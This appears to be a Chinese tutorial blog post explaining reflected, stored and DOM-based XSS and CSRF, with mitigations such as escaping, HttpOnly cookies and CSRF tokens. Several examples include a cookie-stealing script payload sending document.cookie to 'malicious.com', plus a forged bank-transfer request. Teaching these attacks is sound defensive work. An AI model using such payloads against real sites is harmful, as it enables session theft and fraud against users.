反射型 XSS 疑问及延伸（CSRF）

学习 XSS (Cross-Site Scripting，跨站脚本攻击) 的时候可以了解到 XSS 分为三种：持久型 (type-2)，反射型 (type-1) 和基于 DOM 型 (type-0) 。

在看反射型的时候，总结一下大多数帖子给出的解释： 恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方（通常是搜索框），然后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。

接下来看例子：

用户在一个不防范 XSS 的网站中搜索内容，关键字为 XXX，如果网站内包含 XXX的内容，那么该内容就会被展示出来，如果网站中不包含相关，那么可能会提示 XXX 相关内容不存在。也就是，用户的搜索内容最终都会以某种方式反射到搜索结果中。如果搜索内容为： <script>alert(1)</script> ，那么页面就会执行这段 JavaScript 代码，也即该网站存在 XSS 漏洞。

那么问题来了：作为不懂 JavaScript 的用户，是不可能自己在搜索框中输入恶意脚本攻击自己的。大部分网上的帖子给出的例子到以上内容为止，解释了什么是反射型 XSS，但是却没有说明如何进行攻击。我猜想是通过例如 www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script> 这样的恶意链接做到的，经历一番搜寻求证，还是在一些博客中有提及的确是这样做的（具体查看文末参考）。

XSS 小结

上文提到，XSS 可以分为三种，持久型（Persistent），反射型（Reflected），和基于 DOM 型（DOM-Based）。仔细来讲一下这三者吧。

持久型

定义

恶意脚本被攻击者上传到合法的服务器中，并在常规的页面浏览过程中返回给普通用户并被执行。

例子

攻击者在一个博客网站中的一篇博客下评论 <script>window.location='http://malicious.com/?data=' + document.cookie</script> ，恶意代码就会在所有访问这篇博客评论的用户的浏览器中执行。

反射型

定义

上文提过了，这里重复一遍： 恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方（通常是搜索框），然后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。

例子

例子就不重复，开头给出了具体的例子。不过查阅的文章中有张图很形象，这里引用一下

基于 DOM 型

定义

基于 DOM 型 XSS 其实是一种特殊的反射型 XSS，反射型 XSS 的执行过程经过了服务器端（上面的例子中向服务器发了请求），而基于 DOM 的 XSS 没有经过服务器端（恶意代码没有流经服务端），直接通过 JavaScript（并非攻击者写的恶意脚本，而是来自服务器的 DOM 操作脚本）将数据输出到 HTML 页面中。

例子

假设如下表单是让用户选择他的首选语言，默认选项作为参数提供在了 "default" 参数中。

Select your language:

<select><script>
document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
复制代码

使用一下 URL 调用该页面

http://www.some.site/page.html?default=French
复制代码

可以通过向受害者发送以下 URL 来完成基于 DOM 的 XSS 攻击

http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script>
复制代码

反射型和持久型区别

最大的区别就是 XSS 恶意代码是否存储在合法服务器中，网友也有提到反射型需要欺骗用户点击链接，而持久型用户访问相关页面就直接触发。

缓解办法

根据攻击原理，可得出如下缓解办法（主要核心是第一条 —— 警惕用户输入 ）：

• 验证用户输入或者做内容转义

• 对于反射型，可以提醒用户小心恶意链接（这个几乎没用。。。）或者浏览器对 URL 做识别（Chrome，Firefox都支持）

• 对于盗用 Cookie ，设置 HttpOnly 属性来保证 JavaScript 代码无法访问 cookie

XSS 延伸之 CSRF

因为都是 Cross-Site，XSS 和 CSRF 有时候一起出现尽管他们并不相同，CSRF 是 Cross-Site Request Forgery (跨站请求伪造)，CSRF 攻击 通过伪装成受信任用户的请求来利用受信任的网站 ，不管使用什么方法只要是伪造用户发起的请求都可以称为 CSRF 攻击。

例子

用户访问银行的网站， 在 Session 还未过期的情况下（伪造用户身份的关键） ，访问了危险网站，危险网站执行如下代码

$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(err, res) { } );
复制代码

这时候用户不知情在的情况下转账给了用户B 500元。

缓解办法

不难看出，以上恶意网站发出的请求是跨域请求，在同源策略（Same Origin Policy）未被禁用时会被拦截，即使攻击者通过 iframe 来成功发送该请求，服务器端也可以 通过检查 Referer 来判断请求来源是否合法。

但是，如果银行使用的是 GET 请求来完成转账操作，攻击者可以结合 XSS 来做到 CSRF 攻击，只需要借助以上 XSS 办法让用户点击请求的 URL 即可，这种情况下的 CSRF 又叫 XSRF。这种情况下 通过改良网站的 API 设计提高 CSRF 攻击的门槛。

对系统的关键操作添加验证码也是有效抵抗 CSRF 攻击的办法，因为 "CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互，才能完成最终请求" 。

不过针对 CSRF 最常用的方法还是使用 CSRF-Token ，通过在每次请求的请求头中添加 Token，服务器检查 Token 可以有效防止 CSRF 攻击。